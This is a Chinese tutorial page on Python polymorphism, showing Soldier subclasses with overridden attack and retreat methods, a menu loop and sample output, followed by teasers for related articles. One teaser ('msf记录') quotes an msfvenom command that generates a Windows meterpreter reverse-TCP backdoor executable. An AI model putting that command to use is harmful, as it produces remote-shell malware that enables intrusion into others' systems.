多态:不同的子类对象,调用相同的父类方法,产生不同的结果

  1. 继承
  2. 重写

在不改变原有代码的前提下,实现了不同的效果

class Soldier():
# 攻击
def attack(self):
pass
# 后退
def back(self):
pass # 陆军
class Army(Soldier):
def attack(self):
print("[陆军]击鼓进攻") def back(self):
print("[陆军]鸣金撤退") # 海军
class Navy(Soldier):
def attack(self):
print("[海军]发射鱼雷") def back(self):
print("[海军]潜入海底") # 空军
class AirForce(Soldier):
def attack(self):
print("[空军]空中投弹")
def back(self):
print("[空军]掉头撤退") # 类的实例化 返回陆军对象
army_obj = Army()
# 类的实例化 返回海军对象
navy_obj = Navy()
# 类的实例化 返回空军对象
af_obj = AirForce() # 各就位准备
listvar = [army_obj,navy_obj,af_obj] # 将军下达命令
sign = True
while sign:
strvar = """
1.全体攻击
2.全体撤退
3.空军上,其他人撤退
"""
print(strvar)
num = input("将军,请下达您的指令:") if num == "1":
for i in listvar:
i.attack() elif num == "2":
for i in listvar:
i.back() elif num == "3":
for i in listvar:
# 如果当前的对象是空军类型的,调用attack方法
if isinstance(i,AirForce):
i.attack()
# 否则调用back方法
else:
i.back() elif num.upper() == "Q":
# sign=False
break else:
print("报告长官,风太大,我听不到")

执行

        1.全体攻击
2.全体撤退
3.空军上,其他人撤退 将军,请下达您的指令:1
[陆军]击鼓进攻
[海军]发射鱼雷
[空军]空中投弹 1.全体攻击
2.全体撤退
3.空军上,其他人撤退 将军,请下达您的指令:2
[陆军]鸣金撤退
[海军]潜入海底
[空军]掉头撤退 1.全体攻击
2.全体撤退
3.空军上,其他人撤退 将军,请下达您的指令:3
[陆军]鸣金撤退
[海军]潜入海底
[空军]空中投弹 1.全体攻击
2.全体撤退
3.空军上,其他人撤退 将军,请下达您的指令:4
报告长官,风太大,我听不到 1.全体攻击
2.全体撤退
3.空军上,其他人撤退 将军,请下达您的指令:q

029. Python多态介绍的更多相关文章

  1. python进阶介绍(进阶1)

    转载请标明出处: http://www.cnblogs.com/why168888/p/6411664.html 本文出自:[Edwin博客园] python进阶介绍(进阶1) 1. python基础 ...

  2. 从零开始学Python第0周:Python基本介绍(部分内容来源于网络)

    Python入门介绍 一,Python的基本介绍 (1)概要 Python是一种解释型,面向对象,动态数据类型的高级程序设计语言.常被广泛用于处理系统管理任务和web编程.现如今Python已经成为了 ...

  3. 【转】Python Twisted介绍

    Python Twisted介绍 作者:Jessica McKellar 原文链接 Twisted是用Python实现的基于事件驱动的网络引擎框架.Twisted诞生于2000年初,在当时的网络游戏开 ...

  4. 【美妙的Python之中的一个】Python简单介绍及环境搭建

    美妙的Python之Python简单介绍及安装         简而言之: Python 是能你无限惊喜的语言,与众不同.             1.Python:                  ...

  5. python模块介绍- multi-mechanize 性能测试工具

    python模块介绍- multi-mechanize 性能测试工具 2013-09-13 磁针石 #承接软件自动化实施与培训等gtalk:ouyangchongwu#gmail.comqq 3739 ...

  6. python模块介绍- xlwt 创建xls文件(excel)

    python模块介绍- xlwt 创建xls文件(excel) 2013-06-24磁针石 #承接软件自动化实施与培训等gtalk:ouyangchongwu#gmail.comqq 37391319 ...

  7. python模块介绍- binascii 二进制和ASCII转换

    python模块介绍-binascii二进制和ASCII转换 目录 项目简介 简介: Uu编码 Binhex编码 Base64编码 QP码 CRC校验和 二进制转换 其他实例 项目简介 Python中 ...

  8. python模块介绍- HTMLParser 简单的HTML和XHTML解析器

    python模块介绍- HTMLParser 简单的HTML和XHTML解析器 2013-09-11 磁针石 #承接软件自动化实施与培训等gtalk:ouyangchongwu#gmail.comqq ...

  9. 利用Python进行数据分析——重要的Python库介绍

    利用Python进行数据分析--重要的Python库介绍 一.NumPy 用于数组执行元素级计算及直接对数组执行数学运算 线性代数运算.傅里叶运算.随机数的生成 用于C/C++等代码的集成 二.pan ...

随机推荐

  1. JS基础学习第四天

    对象(Object) 对象是JS中的引用数据类型对象是一种复合数据类型,在对象中可以保存多个不同数据类型的属性使用typeof检查一个对象时,会返回object 对象的分类: 1.内建对象- 由ES标 ...

  2. 构建一个Flowable命令行应用

    官网链接 [(https://flowable.com/open-source/docs/bpmn/ch02-GettingStarted/#building-a-command-line-appli ...

  3. msf记录

    生成backdoor msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.133 LPORT=6666 -f exe >/ ...

  4. 2-69.x的平方根

    题目描述: 解题思路: 计算平方根可以依次通过自然数递增,来判断两者相乘是否为目标值,是一个有序的序列,因此考虑使用二分查找. 由于x=0和1时,就是其本身,单独拿出来.当x>1时,其平方根一定 ...

  5. Android+Spring Boot 选择+上传+下载文件

    2021.02.03更新 1 概述 前端Android,上传与下载文件,使用OkHttp处理请求,后端使用Spring Boot,处理Android发送来的上传与下载请求.这个其实不难,就是特别多奇奇 ...

  6. 老Python总结的字典相关知识

    字典 Python中的字典(dict)也被称为映射(mapping)或者散列(hash),是支持Python底层实现的重要数据结构. 同时,也是应用最为广泛的数据结构,内部采用hash存储,存储方式为 ...

  7. 技术分享|JavaScript的前世今生

    目录 一.什么是JavaScript 二.JavaScript的功能 三.JavaScript可以做什么 四.JavaScript框架 五.HTML,CSS和JavaScript 六.JavaScri ...

  8. 【并发编程】Java中的锁有哪些?

    0.死锁 两个或者两个以上的线程在执行过程中,由于竞争资源或者由于彼此通信而造成的一种阻塞现象,若无外力作用,他们都将无法让程序进行下去: 死锁条件: 不可剥夺条件: T1持有的资源无法被T2剥夺 请 ...

  9. hdu4848 DFS 暴搜+ 强剪枝

    题意:       给你一个图,然后问你从1出发遍历所有的点的距离和是多少,这里的距离和是每一个点到1的距离的总和,不是选择一条遍历所有点的路径的总长度,时间限制是 8000ms. 思路:       ...

  10. Linux配置NTP时间服务器(date、hwclock、NTP服务器的配置)

    目录 date命令 hwclock命令 NTP服务的部署 服务端 客户端 date命令 date 命令的作用是查看和设置Linux中的系统日期时间 date                      ...